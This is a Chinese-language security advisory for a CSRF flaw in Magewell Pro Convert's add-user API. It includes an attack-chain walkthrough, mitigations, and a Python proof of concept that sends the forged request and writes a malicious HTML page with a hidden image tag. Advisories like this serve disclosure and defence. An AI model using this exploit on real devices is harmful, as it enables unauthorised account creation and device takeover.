CVE-2025-63952: Magewell Pro Convert跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2025-63952

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

5.7 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Magewell Pro Convert

漏洞概述

CVE-2025-63952是Magewell公司开发的Pro Convert设备中存在的一个跨站请求伪造(CSRF)安全漏洞。该漏洞存在于设备的Web管理界面中的/mwapi?method=add-user接口组件中，影响版本为v1.2.213。攻击者可以利用此漏洞通过精心构造的GET请求，在无需管理员授权的情况下任意创建用户账户。成功利用此漏洞的攻击者可以创建具有系统访问权限的新账户，从而进一步渗透和控制受影响的设备。由于该漏洞需要用户交互(UI:R)和低权限认证(PR:L)，攻击复杂度相对较低，但仍然对设备的整体安全性构成严重威胁。此漏洞的完整性影响为高(I:H)，意味着攻击者可以修改系统配置或添加恶意账户，机密性影响为低(C:N)，可用性无影响(A:N)。建议受影响的用户尽快采取防御措施，联系厂商获取安全更新。

技术细节

该CSRF漏洞源于Magewell Pro Convert的Web管理接口缺少有效的CSRF令牌验证机制。漏洞核心在于/mwapi?method=add-user端点未对请求来源进行有效验证，允许攻击者诱导已登录的管理员用户访问恶意页面，从而在不知情的情况下执行创建账户的操作。攻击者可以通过构造包含add-user方法调用的恶意URL，利用浏览器的自动提交机制向目标设备发送GET请求。由于Web应用未实现同源策略验证或请求签名机制，服务器无法区分合法请求与攻击者伪造的请求。攻击者通常会配合社会工程学手段，如通过钓鱼邮件或恶意链接诱导管理员访问，从而在后台静默执行账户创建操作。成功利用后，新的用户账户将被添加到系统中，攻击者可以使用这些账户登录设备管理界面，获取进一步的系统访问权限。

攻击链分析

STEP 1

步骤1

攻击者首先侦察目标环境，确定Magewell Pro Convert设备及其Web管理接口的地址

STEP 2

步骤2

攻击者构造恶意HTML页面或钓鱼链接，包含针对/mwapi?method=add-user端点的CSRF payload

STEP 3

步骤3

攻击者通过社会工程学手段（如钓鱼邮件、即时消息等）诱导已登录的管理员用户访问恶意页面

STEP 4

步骤4

受害者的浏览器自动发送携带有效会话Cookie的GET请求到目标设备的add-user接口

STEP 5

步骤5

服务器缺乏CSRF验证机制，误将恶意请求识别为合法操作，执行账户创建命令

STEP 6

步骤6

攻击者使用新创建的账户登录设备管理界面，获取系统控制权限，进一步实施恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import argparse

def exploit_csrf(target_url, username, password):
    """
    CVE-2025-63952 PoC - Magewell Pro Convert CSRF Account Creation
    
    Description: This PoC demonstrates the CSRF vulnerability in Magewell Pro Convert
    where /mwapi?method=add-user lacks proper CSRF token validation.
    
    Usage: python exploit.py -t http://target.com -u newuser -p newpass
    """
    # Construct the malicious CSRF payload
    # The attacker controls username and password via GET parameters
    params = {
        'method': 'add-user',
        'username': username,
        'password': password
    }
    
    # Target endpoint
    endpoint = f"{target_url}/mwapi"
    
    print(f"[*] Targeting: {endpoint}")
    print(f"[*] Attempting to create user: {username}")
    
    try:
        # Send the crafted GET request (CSRF attack)
        response = requests.get(endpoint, params=params, timeout=10)
        
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text[:200]}")
        
        if response.status_code == 200:
            print("[+] Request sent successfully - CSRF vulnerability may be present")
        else:
            print("[-] Request failed")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

def generate_malicious_html(target_url, username, password):
    """
    Generate malicious HTML page for CSRF attack
    This would be hosted by attacker and trick logged-in admin to visit
    """
    html = f'''
    <html>
    <body>
    <h1>Click to continue</h1>
    <img src="{target_url}/mwapi?method=add-user&username={username}&password={password}" width="1" height="1">
    </body>
    </html>
    '''
    with open('csrf_exploit.html', 'w') as f:
        f.write(html)
    print("[+] Malicious HTML saved as csrf_exploit.html")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2025-63952 CSRF Exploit')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-u', '--username', required=True, help='Username to create')
    parser.add_argument('-p', '--password', required=True, help='Password for new user')
    args = parser.parse_args()
    
    exploit_csrf(args.target, args.username, args.password)
    generate_malicious_html(args.target, args.username, args.password)

影响范围

Magewell Pro Convert v1.2.213

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1) 禁用设备的Web管理界面远程访问，仅允许通过本地网络访问；2) 定期更改管理员账户密码，使用强密码策略；3) 监控设备日志，关注异常的add-user API调用记录；4) 对管理员进行安全意识培训，警惕未知来源的链接和页面；5) 在网络层部署防火墙或IPS规则，检测和阻止异常的/mwapi请求模式；6) 评估是否需要暂时关闭用户创建功能，直到官方安全更新可用。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2025-63952
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2025-63952
3 Details https://www.cvedetails.com/cve/CVE-2025-63952/
4 VulDB https://vuldb.com/cve/CVE-2025-63952
5 Link https://github.com/iyadalkhatib98/My_CVES/tree/main/CVE-2025-63952
6 Link https://www.magewell.com